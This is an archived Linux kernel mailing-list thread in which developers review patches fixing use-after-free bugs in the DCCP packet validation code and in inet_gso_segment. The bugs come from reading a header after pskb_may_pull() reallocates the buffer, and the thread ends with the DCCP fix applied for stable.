From: Arnaldo Carvalho de Melo <acme@redhat.com>
pskb_may_pull() can reallocate skb->head, so we can't access
iph->frag_off or risk use after free, save it to a variable and us that
later.
Cc: Andrey Konovalov <andreyknvl@google.com>
Cc: Eric Dumazet <edumazet@google.com>
Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c
index 5ddf5cda07f4..9462070561a3 100644
--- a/net/ipv4/af_inet.c
+++ b/net/ipv4/af_inet.c
@@ -1198,6 +1198,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
struct iphdr *iph;
int proto, tot_len;
int nhoff;
+ u16 frag_off;
int ihl;
int id;
@@ -1213,6 +1214,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
id = ntohs(iph->id);
proto = iph->protocol;
+ frag_off = iph->frag_off;
/* Warning: after this point, iph might be no longer valid */
if (unlikely(!pskb_may_pull(skb, ihl)))
@@ -1233,7 +1235,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
/* fixed ID is invalid if DF bit is not set */
- if (fixedid && !(iph->frag_off & htons(IP_DF)))
+ if (fixedid && !(frag_off & htons(IP_DF)))
goto out;
}
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 14:40 ` Arnaldo Carvalho de Melo
@ 2016-11-28 14:47 ` Eric Dumazet
2016-11-28 15:05 ` Arnaldo Carvalho de Melo
0 siblings, 1 reply; 8+ messages in thread
From: Eric Dumazet @ 2016-11-28 14:47 UTC (permalink / raw)
To: Arnaldo Carvalho de Melo
Cc: Andrey Konovalov, Gerrit Renker, David S. Miller, dccp, netdev,
LKML, Dmitry Vyukov, Kostya Serebryany, Eric Dumazet, syzkaller
On Mon, 2016-11-28 at 11:40 -0300, Arnaldo Carvalho de Melo wrote:
> Em Mon, Nov 28, 2016 at 06:26:49AM -0800, Eric Dumazet escreveu:
> > From: Eric Dumazet <edumazet@google.com>
> >
> > pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
> > in dccp_invalid_packet() or risk use after free.
> >
> > Bug found by Andrey Konovalov using syzkaller.
> >
> > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > Reported-by: Andrey Konovalov <andreyknvl@google.com>
>
> Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
>
> I was about to send exactly this patch, and while looking at it I think
> the patch below needs to go in as well, no? To follow the advice of that
> Warning line there :-)
>
> From: Arnaldo Carvalho de Melo <acme@redhat.com>
>
> pskb_may_pull() can reallocate skb->head, so we can't access
> iph->frag_off or risk use after free, save it to a variable and us that
> later.
>
> Cc: Andrey Konovalov <andreyknvl@google.com>
> Cc: Eric Dumazet <edumazet@google.com>
> Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
>
> diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c
> index 5ddf5cda07f4..9462070561a3 100644
> --- a/net/ipv4/af_inet.c
> +++ b/net/ipv4/af_inet.c
> @@ -1198,6 +1198,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> struct iphdr *iph;
> int proto, tot_len;
> int nhoff;
> + u16 frag_off;
> int ihl;
> int id;
>
> @@ -1213,6 +1214,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
>
> id = ntohs(iph->id);
> proto = iph->protocol;
> + frag_off = iph->frag_off;
>
> /* Warning: after this point, iph might be no longer valid */
> if (unlikely(!pskb_may_pull(skb, ihl)))
> @@ -1233,7 +1235,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
>
> /* fixed ID is invalid if DF bit is not set */
> - if (fixedid && !(iph->frag_off & htons(IP_DF)))
> + if (fixedid && !(frag_off & htons(IP_DF)))
> goto out;
> }
>
I do not see why this patch would be needed ?
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 14:47 ` Eric Dumazet
@ 2016-11-28 15:05 ` Arnaldo Carvalho de Melo
2016-11-28 15:20 ` Eric Dumazet
0 siblings, 1 reply; 8+ messages in thread
From: Arnaldo Carvalho de Melo @ 2016-11-28 15:05 UTC (permalink / raw)
To: Eric Dumazet
Cc: Arnaldo Carvalho de Melo, Andrey Konovalov, Gerrit Renker,
David S. Miller, dccp, netdev, LKML, Dmitry Vyukov,
Kostya Serebryany, Eric Dumazet, syzkaller
Em Mon, Nov 28, 2016 at 06:47:14AM -0800, Eric Dumazet escreveu:
> On Mon, 2016-11-28 at 11:40 -0300, Arnaldo Carvalho de Melo wrote:
> > Em Mon, Nov 28, 2016 at 06:26:49AM -0800, Eric Dumazet escreveu:
> > > From: Eric Dumazet <edumazet@google.com>
> > >
> > > pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
> > > in dccp_invalid_packet() or risk use after free.
> > >
> > > Bug found by Andrey Konovalov using syzkaller.
> > >
> > > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > > Reported-by: Andrey Konovalov <andreyknvl@google.com>
> >
> > Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
> >
> > I was about to send exactly this patch, and while looking at it I think
> > the patch below needs to go in as well, no? To follow the advice of that
> > Warning line there :-)
> >
> > From: Arnaldo Carvalho de Melo <acme@redhat.com>
> >
> > pskb_may_pull() can reallocate skb->head, so we can't access
> > iph->frag_off or risk use after free, save it to a variable and us that
> > later.
> >
> > Cc: Andrey Konovalov <andreyknvl@google.com>
> > Cc: Eric Dumazet <edumazet@google.com>
> > Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
> >
> > diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c
> > index 5ddf5cda07f4..9462070561a3 100644
> > --- a/net/ipv4/af_inet.c
> > +++ b/net/ipv4/af_inet.c
> > @@ -1198,6 +1198,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > struct iphdr *iph;
> > int proto, tot_len;
> > int nhoff;
> > + u16 frag_off;
> > int ihl;
> > int id;
> >
> > @@ -1213,6 +1214,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> >
> > id = ntohs(iph->id);
> > proto = iph->protocol;
> > + frag_off = iph->frag_off;
> >
> > /* Warning: after this point, iph might be no longer valid */
> > if (unlikely(!pskb_may_pull(skb, ihl)))
> > @@ -1233,7 +1235,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
> >
> > /* fixed ID is invalid if DF bit is not set */
> > - if (fixedid && !(iph->frag_off & htons(IP_DF)))
> > + if (fixedid && !(frag_off & htons(IP_DF)))
> > goto out;
> > }
> >
>
>
> I do not see why this patch would be needed ?
Where is iph being reloaded after that pskb_may_pull() and thus at line 1236 we
could use after free? The warning at line 1217?
1209 iph = ip_hdr(skb);
1210 ihl = iph->ihl * 4;
1211 if (ihl < sizeof(*iph))
1212 goto out;
1213
1214 id = ntohs(iph->id);
1215 proto = iph->protocol;
1216
1217 /* Warning: after this point, iph might be no longer valid */
1218 if (unlikely(!pskb_may_pull(skb, ihl)))
1219 goto out;
1220 __skb_pull(skb, ihl);
1221
1222 encap = SKB_GSO_CB(skb)->encap_level > 0;
1223 if (encap)
1224 features &= skb->dev->hw_enc_features;
1225 SKB_GSO_CB(skb)->encap_level += ihl;
1226
1227 skb_reset_transport_header(skb);
1228
1229 segs = ERR_PTR(-EPROTONOSUPPORT);
1230
1231 if (!skb->encapsulation || encap) {
1232 udpfrag = !!(skb_shinfo(skb)->gso_type & SKB_GSO_UDP);
1233 fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
1234
1235 /* fixed ID is invalid if DF bit is not set */
1236 if (fixedid && !(iph->frag_off & htons(IP_DF)))
1237 goto out;
1238 }
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 15:05 ` Arnaldo Carvalho de Melo
@ 2016-11-28 15:20 ` Eric Dumazet
2016-11-28 15:36 ` Arnaldo Carvalho de Melo
0 siblings, 1 reply; 8+ messages in thread
From: Eric Dumazet @ 2016-11-28 15:20 UTC (permalink / raw)
To: Arnaldo Carvalho de Melo, Alexander Duyck
Cc: Arnaldo Carvalho de Melo, Andrey Konovalov, Gerrit Renker,
David S. Miller, dccp, netdev, LKML, Dmitry Vyukov,
Kostya Serebryany, Eric Dumazet, syzkaller
On Mon, 2016-11-28 at 12:05 -0300, Arnaldo Carvalho de Melo wrote:
> Em Mon, Nov 28, 2016 at 06:47:14AM -0800, Eric Dumazet escreveu:
> > On Mon, 2016-11-28 at 11:40 -0300, Arnaldo Carvalho de Melo wrote:
> > > Em Mon, Nov 28, 2016 at 06:26:49AM -0800, Eric Dumazet escreveu:
> > > > From: Eric Dumazet <edumazet@google.com>
> > > >
> > > > pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
> > > > in dccp_invalid_packet() or risk use after free.
> > > >
> > > > Bug found by Andrey Konovalov using syzkaller.
> > > >
> > > > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > > > Reported-by: Andrey Konovalov <andreyknvl@google.com>
> > >
> > > Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
> > >
> > > I was about to send exactly this patch, and while looking at it I think
> > > the patch below needs to go in as well, no? To follow the advice of that
> > > Warning line there :-)
> > >
> > > From: Arnaldo Carvalho de Melo <acme@redhat.com>
> > >
> > > pskb_may_pull() can reallocate skb->head, so we can't access
> > > iph->frag_off or risk use after free, save it to a variable and us that
> > > later.
> > >
> > > Cc: Andrey Konovalov <andreyknvl@google.com>
> > > Cc: Eric Dumazet <edumazet@google.com>
> > > Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
> > >
> > > diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c
> > > index 5ddf5cda07f4..9462070561a3 100644
> > > --- a/net/ipv4/af_inet.c
> > > +++ b/net/ipv4/af_inet.c
> > > @@ -1198,6 +1198,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > > struct iphdr *iph;
> > > int proto, tot_len;
> > > int nhoff;
> > > + u16 frag_off;
> > > int ihl;
> > > int id;
> > >
> > > @@ -1213,6 +1214,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > >
> > > id = ntohs(iph->id);
> > > proto = iph->protocol;
> > > + frag_off = iph->frag_off;
> > >
> > > /* Warning: after this point, iph might be no longer valid */
> > > if (unlikely(!pskb_may_pull(skb, ihl)))
> > > @@ -1233,7 +1235,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > > fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
> > >
> > > /* fixed ID is invalid if DF bit is not set */
> > > - if (fixedid && !(iph->frag_off & htons(IP_DF)))
> > > + if (fixedid && !(frag_off & htons(IP_DF)))
> > > goto out;
> > > }
> > >
> >
> >
> > I do not see why this patch would be needed ?
>
> Where is iph being reloaded after that pskb_may_pull() and thus at line 1236 we
> could use after free? The warning at line 1217?
>
> 1209 iph = ip_hdr(skb);
> 1210 ihl = iph->ihl * 4;
> 1211 if (ihl < sizeof(*iph))
> 1212 goto out;
> 1213
> 1214 id = ntohs(iph->id);
> 1215 proto = iph->protocol;
> 1216
> 1217 /* Warning: after this point, iph might be no longer valid */
> 1218 if (unlikely(!pskb_may_pull(skb, ihl)))
> 1219 goto out;
> 1220 __skb_pull(skb, ihl);
> 1221
> 1222 encap = SKB_GSO_CB(skb)->encap_level > 0;
> 1223 if (encap)
> 1224 features &= skb->dev->hw_enc_features;
> 1225 SKB_GSO_CB(skb)->encap_level += ihl;
> 1226
> 1227 skb_reset_transport_header(skb);
> 1228
> 1229 segs = ERR_PTR(-EPROTONOSUPPORT);
> 1230
> 1231 if (!skb->encapsulation || encap) {
> 1232 udpfrag = !!(skb_shinfo(skb)->gso_type & SKB_GSO_UDP);
> 1233 fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
> 1234
> 1235 /* fixed ID is invalid if DF bit is not set */
> 1236 if (fixedid && !(iph->frag_off & htons(IP_DF)))
> 1237 goto out;
> 1238 }
>
Arg, I was looking at an old tree.
Please then add
Fixes: cbc53e08a793b ("GSO: Add GSO type for fixed IPv4 ID")
To ease stable backports.
Also, it looks comments are not read, we might kill this one and reload
iph.
( Saving 3 fields is now more expensive than simply reloading iph )
Thanks.
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 15:20 ` Eric Dumazet
@ 2016-11-28 15:36 ` Arnaldo Carvalho de Melo
0 siblings, 0 replies; 8+ messages in thread
From: Arnaldo Carvalho de Melo @ 2016-11-28 15:36 UTC (permalink / raw)
To: Eric Dumazet
Cc: Alexander Duyck, Arnaldo Carvalho de Melo, Andrey Konovalov,
Gerrit Renker, David S. Miller, dccp, netdev, LKML,
Dmitry Vyukov, Kostya Serebryany, Eric Dumazet, syzkaller
Em Mon, Nov 28, 2016 at 07:20:58AM -0800, Eric Dumazet escreveu:
> On Mon, 2016-11-28 at 12:05 -0300, Arnaldo Carvalho de Melo wrote:
> > Em Mon, Nov 28, 2016 at 06:47:14AM -0800, Eric Dumazet escreveu:
> > > On Mon, 2016-11-28 at 11:40 -0300, Arnaldo Carvalho de Melo wrote:
> > > > Em Mon, Nov 28, 2016 at 06:26:49AM -0800, Eric Dumazet escreveu:
> > > > > From: Eric Dumazet <edumazet@google.com>
> > > > >
> > > > > pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
> > > > > in dccp_invalid_packet() or risk use after free.
> > > > >
> > > > > Bug found by Andrey Konovalov using syzkaller.
> > > > >
> > > > > Signed-off-by: Eric Dumazet <edumazet@google.com>
> > > > > Reported-by: Andrey Konovalov <andreyknvl@google.com>
> > > >
> > > > Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
> > > >
> > > > I was about to send exactly this patch, and while looking at it I think
> > > > the patch below needs to go in as well, no? To follow the advice of that
> > > > Warning line there :-)
> > > >
> > > > From: Arnaldo Carvalho de Melo <acme@redhat.com>
> > > >
> > > > pskb_may_pull() can reallocate skb->head, so we can't access
> > > > iph->frag_off or risk use after free, save it to a variable and us that
> > > > later.
> > > >
> > > > Cc: Andrey Konovalov <andreyknvl@google.com>
> > > > Cc: Eric Dumazet <edumazet@google.com>
> > > > Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
> > > >
> > > > diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c
> > > > index 5ddf5cda07f4..9462070561a3 100644
> > > > --- a/net/ipv4/af_inet.c
> > > > +++ b/net/ipv4/af_inet.c
> > > > @@ -1198,6 +1198,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > > > struct iphdr *iph;
> > > > int proto, tot_len;
> > > > int nhoff;
> > > > + u16 frag_off;
> > > > int ihl;
> > > > int id;
> > > >
> > > > @@ -1213,6 +1214,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > > >
> > > > id = ntohs(iph->id);
> > > > proto = iph->protocol;
> > > > + frag_off = iph->frag_off;
> > > >
> > > > /* Warning: after this point, iph might be no longer valid */
> > > > if (unlikely(!pskb_may_pull(skb, ihl)))
> > > > @@ -1233,7 +1235,7 @@ struct sk_buff *inet_gso_segment(struct sk_buff *skb,
> > > > fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
> > > >
> > > > /* fixed ID is invalid if DF bit is not set */
> > > > - if (fixedid && !(iph->frag_off & htons(IP_DF)))
> > > > + if (fixedid && !(frag_off & htons(IP_DF)))
> > > > goto out;
> > > > }
> > > >
> > >
> > >
> > > I do not see why this patch would be needed ?
> >
> > Where is iph being reloaded after that pskb_may_pull() and thus at line 1236 we
> > could use after free? The warning at line 1217?
> >
> > 1209 iph = ip_hdr(skb);
> > 1210 ihl = iph->ihl * 4;
> > 1211 if (ihl < sizeof(*iph))
> > 1212 goto out;
> > 1213
> > 1214 id = ntohs(iph->id);
> > 1215 proto = iph->protocol;
> > 1216
> > 1217 /* Warning: after this point, iph might be no longer valid */
> > 1218 if (unlikely(!pskb_may_pull(skb, ihl)))
> > 1219 goto out;
> > 1220 __skb_pull(skb, ihl);
> > 1221
> > 1222 encap = SKB_GSO_CB(skb)->encap_level > 0;
> > 1223 if (encap)
> > 1224 features &= skb->dev->hw_enc_features;
> > 1225 SKB_GSO_CB(skb)->encap_level += ihl;
> > 1226
> > 1227 skb_reset_transport_header(skb);
> > 1228
> > 1229 segs = ERR_PTR(-EPROTONOSUPPORT);
> > 1230
> > 1231 if (!skb->encapsulation || encap) {
> > 1232 udpfrag = !!(skb_shinfo(skb)->gso_type & SKB_GSO_UDP);
> > 1233 fixedid = !!(skb_shinfo(skb)->gso_type & SKB_GSO_TCP_FIXEDID);
> > 1234
> > 1235 /* fixed ID is invalid if DF bit is not set */
> > 1236 if (fixedid && !(iph->frag_off & htons(IP_DF)))
> > 1237 goto out;
> > 1238 }
> >
>
> Arg, I was looking at an old tree.
>
> Please then add
>
> Fixes: cbc53e08a793b ("GSO: Add GSO type for fixed IPv4 ID")
>
> To ease stable backports.
>
> Also, it looks comments are not read, we might kill this one and reload
> iph.
>
> ( Saving 3 fields is now more expensive than simply reloading iph )
Ok, I instead used ip_hdr(skb)->frag_off at that place, as it is the
only use after the pskb_may_pull(), right after that use it will reload
iph in another fashion anyway, sending the patch in another message,
holler if you disagree, i.e. nacking that ack 8-)
- Arnaldo
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net] net/dccp: fix use-after-free in dccp_invalid_packet
2016-11-28 14:26 ` [PATCH net] net/dccp: fix " Eric Dumazet
2016-11-28 14:40 ` Arnaldo Carvalho de Melo
@ 2016-11-30 1:38 ` David Miller
1 sibling, 0 replies; 8+ messages in thread
From: David Miller @ 2016-11-30 1:38 UTC (permalink / raw)
To: eric.dumazet
Cc: andreyknvl, gerrit, dccp, netdev, linux-kernel, dvyukov, kcc,
edumazet, syzkaller
From: Eric Dumazet <eric.dumazet@gmail.com>
Date: Mon, 28 Nov 2016 06:26:49 -0800
> From: Eric Dumazet <edumazet@google.com>
>
> pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
> in dccp_invalid_packet() or risk use after free.
>
> Bug found by Andrey Konovalov using syzkaller.
>
> Signed-off-by: Eric Dumazet <edumazet@google.com>
> Reported-by: Andrey Konovalov <andreyknvl@google.com>
Applied and queued up for -stable, thanks Eric.
^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2016-11-30 1:38 UTC | newest]
Thread overview: 8+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2016-11-28 13:22 net/dccp: use-after-free in dccp_invalid_packet Andrey Konovalov
2016-11-28 14:26 ` [PATCH net] net/dccp: fix " Eric Dumazet
2016-11-28 14:40 ` Arnaldo Carvalho de Melo
2016-11-28 14:47 ` Eric Dumazet
2016-11-28 15:05 ` Arnaldo Carvalho de Melo
2016-11-28 15:20 ` Eric Dumazet
2016-11-28 15:36 ` Arnaldo Carvalho de Melo
2016-11-30 1:38 ` David Miller
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).